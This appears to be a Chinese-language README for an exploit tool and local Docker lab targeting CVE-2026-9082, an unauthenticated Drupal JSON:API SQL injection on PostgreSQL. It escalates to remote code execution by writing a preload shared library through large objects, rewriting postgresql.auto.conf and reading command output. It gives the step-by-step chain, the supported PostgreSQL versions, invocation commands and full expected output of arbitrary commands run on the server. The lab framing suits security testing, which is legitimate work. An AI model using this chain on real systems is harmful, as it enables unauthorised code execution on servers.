CVE-2026-9082 的漏洞利用程序,这是一个 Drupal JSON:API PostgreSQL SQL 注入漏洞,可通过 preload 库升级为 RCE,并附带用于测试的本地实验环境。
该仓库包含一个本地实验环境和一个简短的漏洞利用脚本,用于 Ambionics 文章中描述的 Drupal JSON:API PostgreSQL SQL 注入漏洞。
该漏洞利用的关键在于 PostgreSQL 权限提升:一旦注入能够以 PostgreSQL 超级用户身份执行 SELECT 表达式,它就会通过大对象(large objects)写入一个原生预加载库,重新加载 postgresql.auto.conf,触发 session_preload_libraries,并通过 pg_read_file() 获取命令输出。
漏洞利用脚本首先读取 version(),并根据检测到的主版本号构建 PostgreSQL 模块 magic 块。它支持 PostgreSQL 12、13-14、15-17 和 18+ 的模块 ABI 布局。本地编译器仍须生成与目标 PostgreSQL 服务器相同 CPU 架构的共享对象。
本实验环境使用 PostgreSQL 18.4,即撰写本文时最新的 PostgreSQL 版本。PostgreSQL 权限提升路径已从 PostgreSQL 12.20 到 PostgreSQL 18.4 完成验证。
.
├── docker-compose.yml
├── drupal/
│ ├── Dockerfile
│ ├── entrypoint.sh
│ └── seed-content.php
├── drupal-postgres-preload-rce.py
├── requirements.txt
└── README.md
本实验环境使用:
Drupal 10.4.9
PostgreSQL 18.4 (Debian 18.4-1.pgdg13+1)
PHP 8.3 / Apache
Drupal 以 postgres 超级用户身份连接到 PostgreSQL,因此仅支持 SELECT 的 SQL 注入也能被提升为 RCE。
docker compose version
python3 --version
cc --version
示例输出:
Docker Compose version v2.37.3
Python 3.12.3
cc (Ubuntu 13.3.0-6ubuntu2~24.04.1) 13.3.0
构建并启动容器:
docker compose build --quiet
docker compose up -d
预期输出:
Container cve9082-pg18 Started
Container cve9082-drupal Started
等待 Drupal 变为 healthy 状态:
docker compose ps
预期输出:
NAME SERVICE STATUS
cve9082-pg18 db Up ... (healthy)
cve9082-drupal drupal Up ... (healthy)
实验环境监听地址:
http://127.0.0.1:8089
检查 PostgreSQL 版本:
docker exec cve9082-pg18 psql -U postgres -d drupal -tAc 'select version()'
预期输出:
PostgreSQL 18.4 (Debian 18.4-1.pgdg13+1) on x86_64-pc-linux-gnu, compiled by gcc (Debian 14.2.0-19) 14.2.0, 64-bit
检查 JSON:API 是否暴露了预置的文章:
curl -fsS http://127.0.0.1:8089/jsonapi/node/article | python3 -m json.tool | sed -n '1,20p'
预期输出:
{
"jsonapi": {
"version": "1.0"
},
"data": [
{
"type": "node--article"
}
]
}
python3 -m venv .venv
. .venv/bin/activate
pip install -r requirements.txt
预期输出:
Successfully installed requests-...
通过未认证的 JSON:API SQL 注入执行 id:
python3 drupal-postgres-preload-rce.py http://127.0.0.1:8089 id
预期输出:
[+] checking SQL injection context
version: PostgreSQL 18.4 (Debian 18.4-1.pgdg13+1) on x86_64-pc-linux-gnu, compiled by gcc (Debian 14.2.0-19) 14.2.0, 64-bit
current_user: postgres superuser=True
data_directory: /var/lib/postgresql/18/docker
module_abi: PostgreSQL 18 magic=1800 layout=pg18
[+] built PostgreSQL 18 preload module (14080 bytes)
[+] writing preload library to /var/lib/postgresql/18/docker/cve9082_preload.so
1400/14080 bytes
...
14080/14080 bytes
[+] rewriting /var/lib/postgresql/18/docker/postgresql.auto.conf
189/189 bytes
[+] reloading PostgreSQL configuration
[+] triggering a fresh backend
[+] reading command output
uid=999(postgres) gid=999(postgres) groups=999(postgres),101(ssl-cert)
__exit=0
[+] restoring/clearing PostgreSQL preload settings
152/152 bytes
运行另一个命令:
python3 drupal-postgres-preload-rce.py http://127.0.0.1:8089 'uname -a'
预期输出:
[+] reading command output
Linux ... x86_64 GNU/Linux
__exit=0
停止容器但保留数据库卷:
docker compose down
停止容器并删除数据库卷:
docker compose down -v